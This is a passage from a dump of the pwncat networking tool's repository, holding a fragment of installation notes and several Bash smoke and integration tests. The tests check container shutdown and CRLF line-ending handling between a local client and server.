Windows, so you are adviced to install it via `pip `_ or `GitHub `_. If you want to package it, please contact me. 178 | 179 | 180 | \*BSD 181 | ----- 182 | 183 | There is currently no package for \*BSD, so you are adviced to install it via `pip `_ or `GitHub `_. If you want to package it, please contact me. 184 | 185 | 186 | 187 | Requirements 188 | ============ 189 | 190 | * Python2 or Python3. 191 | 192 | 193 | .. note:: 194 | ``pwncat`` only uses Python core libraries and does not have any other dependencies. It is fully compatible starting from Python 2.7 up to the latest Python 3.x version. 195 | -------------------------------------------------------------------------------- /tests/smoke/200---tcp---keep_open---kill_server---no_send/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=6 18 | WAIT_SHUTDOWN=6 19 | 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # CHECKS 23 | # ------------------------------------------------------------------------------------------------- 24 | 25 | COMPOSE="" 26 | PYTHON_VERSION="${1:-3.8}" 27 | COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" 28 | 29 | if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then 30 | print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." 31 | exit 1 32 | fi 33 | if ! command -v docker >/dev/null 2>&1; then 34 | print_error "docker binary not found, but required." 35 | exit 1 36 | fi 37 | if ! command -v docker-compose >/dev/null 2>&1; then 38 | print_error "docker-compose binary not found, but required." 39 | exit 1 40 | fi 41 | 42 | 43 | # ------------------------------------------------------------------------------------------------- 44 | # APPLY VERSION 45 | # ------------------------------------------------------------------------------------------------- 46 | 47 | echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" 48 | print_test_case "Python ${PYTHON_VERSION}" 49 | 50 | 51 | # ------------------------------------------------------------------------------------------------- 52 | # GET ARTIFACTS 53 | # ------------------------------------------------------------------------------------------------- 54 | print_h2 "(1/5) Get artifacts" 55 | 56 | cd "${COMPOSEDIR}" 57 | 58 | # shellcheck disable=SC2050 59 | while [ "1" -eq "1" ]; do 60 | if run "docker-compose pull"; then 61 | break 62 | fi 63 | sleep 1 64 | done 65 | 66 | 67 | # ------------------------------------------------------------------------------------------------- 68 | # CLEAN UP 69 | # ------------------------------------------------------------------------------------------------- 70 | print_h2 "(1/5) Stopping Docker Compose" 71 | 72 | run "docker-compose kill || true 2>/dev/null" 73 | run "docker-compose rm -f || true 2>/dev/null" 74 | 75 | 76 | # ------------------------------------------------------------------------------------------------- 77 | # START 78 | # ------------------------------------------------------------------------------------------------- 79 | print_h2 "(2/5) Starting compose" 80 | 81 | cd "${COMPOSEDIR}" 82 | run "docker-compose up -d" 83 | run "sleep ${WAIT_STARTUP}" 84 | 85 | 86 | # ------------------------------------------------------------------------------------------------- 87 | # VALIDATE 88 | # ------------------------------------------------------------------------------------------------- 89 | print_h2 "(3/5) Validate running" 90 | 91 | if ! run "docker-compose ps --filter 'status=running' --services | grep server"; then 92 | run "docker-compose logs" 93 | run "docker-compose ps" 94 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 95 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 96 | run "docker-compose kill || true 2>/dev/null" 97 | run "docker-compose rm -f || true 2>/dev/null" 98 | print_error "Server is not running" 99 | exit 1 100 | fi 101 | if ! run "docker-compose ps --filter 'status=running' --services | grep client"; then 102 | run "docker-compose logs" 103 | run "docker-compose ps" 104 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 105 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 106 | run "docker-compose kill || true 2>/dev/null" 107 | run "docker-compose rm -f || true 2>/dev/null" 108 | print_error "Client is not running" 109 | exit 1 110 | fi 111 | 112 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 113 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 114 | 115 | 116 | # ------------------------------------------------------------------------------------------------- 117 | # TEST 118 | # ------------------------------------------------------------------------------------------------- 119 | print_h2 "(4/5) Test" 120 | 121 | if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) server kill -2 1"; then 122 | run "docker-compose logs" 123 | run "docker-compose ps" 124 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 125 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 126 | run "docker-compose kill || true 2>/dev/null" 127 | run "docker-compose rm -f || true 2>/dev/null" 128 | print_error "Kill command not successful" 129 | exit 1 130 | fi 131 | 132 | run "sleep ${WAIT_SHUTDOWN}" 133 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 134 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 135 | 136 | 137 | 138 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep server"; then 139 | run "docker-compose logs" 140 | run "docker-compose ps" 141 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 142 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 143 | run "docker-compose kill || true 2>/dev/null" 144 | run "docker-compose rm -f || true 2>/dev/null" 145 | print_error "Server was supposed to stop, it is running" 146 | exit 1 147 | fi 148 | 149 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep client"; then 150 | run "docker-compose logs" 151 | run "docker-compose ps" 152 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 153 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 154 | run "docker-compose kill || true 2>/dev/null" 155 | run "docker-compose rm -f || true 2>/dev/null" 156 | print_error "Client was supposed to stop, it is running" 157 | exit 1 158 | fi 159 | 160 | 161 | # ------------------------------------------------------------------------------------------------- 162 | # CLEAN UP 163 | # ------------------------------------------------------------------------------------------------- 164 | print_h2 "(5/5) Stopping Docker Compose" 165 | 166 | run "docker-compose logs server" 167 | run "docker-compose logs client" 168 | run "docker-compose ps" 169 | run "docker-compose kill || true 2>/dev/null" 170 | run "docker-compose rm -f || true 2>/dev/null" 171 | -------------------------------------------------------------------------------- /tests/smoke/201---tcp---keep_open---kill_server---send_data/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=6 18 | WAIT_SHUTDOWN=6 19 | 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # CHECKS 23 | # ------------------------------------------------------------------------------------------------- 24 | 25 | COMPOSE="" 26 | PYTHON_VERSION="${1:-3.8}" 27 | COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" 28 | 29 | if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then 30 | print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." 31 | exit 1 32 | fi 33 | if ! command -v docker >/dev/null 2>&1; then 34 | print_error "docker binary not found, but required." 35 | exit 1 36 | fi 37 | if ! command -v docker-compose >/dev/null 2>&1; then 38 | print_error "docker-compose binary not found, but required." 39 | exit 1 40 | fi 41 | 42 | 43 | # ------------------------------------------------------------------------------------------------- 44 | # APPLY VERSION 45 | # ------------------------------------------------------------------------------------------------- 46 | 47 | echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" 48 | print_test_case "Python ${PYTHON_VERSION}" 49 | 50 | 51 | # ------------------------------------------------------------------------------------------------- 52 | # GET ARTIFACTS 53 | # ------------------------------------------------------------------------------------------------- 54 | print_h2 "(1/5) Get artifacts" 55 | 56 | cd "${COMPOSEDIR}" 57 | 58 | # shellcheck disable=SC2050 59 | while [ "1" -eq "1" ]; do 60 | if run "docker-compose pull"; then 61 | break 62 | fi 63 | sleep 1 64 | done 65 | 66 | 67 | # ------------------------------------------------------------------------------------------------- 68 | # CLEAN UP 69 | # ------------------------------------------------------------------------------------------------- 70 | print_h2 "(1/5) Stopping Docker Compose" 71 | 72 | run "docker-compose kill || true 2>/dev/null" 73 | run "docker-compose rm -f || true 2>/dev/null" 74 | 75 | 76 | # ------------------------------------------------------------------------------------------------- 77 | # START 78 | # ------------------------------------------------------------------------------------------------- 79 | print_h2 "(2/5) Starting compose" 80 | 81 | cd "${COMPOSEDIR}" 82 | run "docker-compose up -d" 83 | run "sleep ${WAIT_STARTUP}" 84 | 85 | 86 | # ------------------------------------------------------------------------------------------------- 87 | # VALIDATE 88 | # ------------------------------------------------------------------------------------------------- 89 | print_h2 "(3/5) Validate running" 90 | 91 | if ! run "docker-compose ps --filter 'status=running' --services | grep server"; then 92 | run "docker-compose logs" 93 | run "docker-compose ps" 94 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 95 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 96 | run "docker-compose kill || true 2>/dev/null" 97 | run "docker-compose rm -f || true 2>/dev/null" 98 | print_error "Server is not running" 99 | exit 1 100 | fi 101 | if ! run "docker-compose ps --filter 'status=running' --services | grep client"; then 102 | run "docker-compose logs" 103 | run "docker-compose ps" 104 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 105 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 106 | run "docker-compose kill || true 2>/dev/null" 107 | run "docker-compose rm -f || true 2>/dev/null" 108 | print_error "Client is not running" 109 | exit 1 110 | fi 111 | 112 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 113 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 114 | 115 | 116 | # ------------------------------------------------------------------------------------------------- 117 | # TEST 118 | # ------------------------------------------------------------------------------------------------- 119 | print_h2 "(4/5) Test" 120 | 121 | if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) server kill -2 1"; then 122 | run "docker-compose logs" 123 | run "docker-compose ps" 124 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 125 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 126 | run "docker-compose kill || true 2>/dev/null" 127 | run "docker-compose rm -f || true 2>/dev/null" 128 | print_error "Kill command not successful" 129 | exit 1 130 | fi 131 | 132 | run "sleep ${WAIT_SHUTDOWN}" 133 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 134 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 135 | 136 | 137 | 138 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep server"; then 139 | run "docker-compose logs" 140 | run "docker-compose ps" 141 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 142 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 143 | run "docker-compose kill || true 2>/dev/null" 144 | run "docker-compose rm -f || true 2>/dev/null" 145 | print_error "Server was supposed to stop, it is running" 146 | exit 1 147 | fi 148 | 149 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep client"; then 150 | run "docker-compose logs" 151 | run "docker-compose ps" 152 | run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" 153 | run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" 154 | run "docker-compose kill || true 2>/dev/null" 155 | run "docker-compose rm -f || true 2>/dev/null" 156 | print_error "Client was supposed to stop, it is running" 157 | exit 1 158 | fi 159 | 160 | 161 | # ------------------------------------------------------------------------------------------------- 162 | # CLEAN UP 163 | # ------------------------------------------------------------------------------------------------- 164 | print_h2 "(5/5) Stopping Docker Compose" 165 | 166 | run "docker-compose logs server" 167 | run "docker-compose logs client" 168 | run "docker-compose ps" 169 | run "docker-compose kill || true 2>/dev/null" 170 | run "docker-compose rm -f || true 2>/dev/null" 171 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/600---tcp---client_crlf_no---server_sends_lf.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # -------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Server -> Client" 111 | 112 | # [SERVER -> Client] 113 | wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/601---tcp---client_crlf_no---server_sends_cr.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # -------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Server -> Client" 111 | 112 | # [SERVER -> Client] 113 | wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/700---tcp---server_crlf_no---client_sends_lf.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # 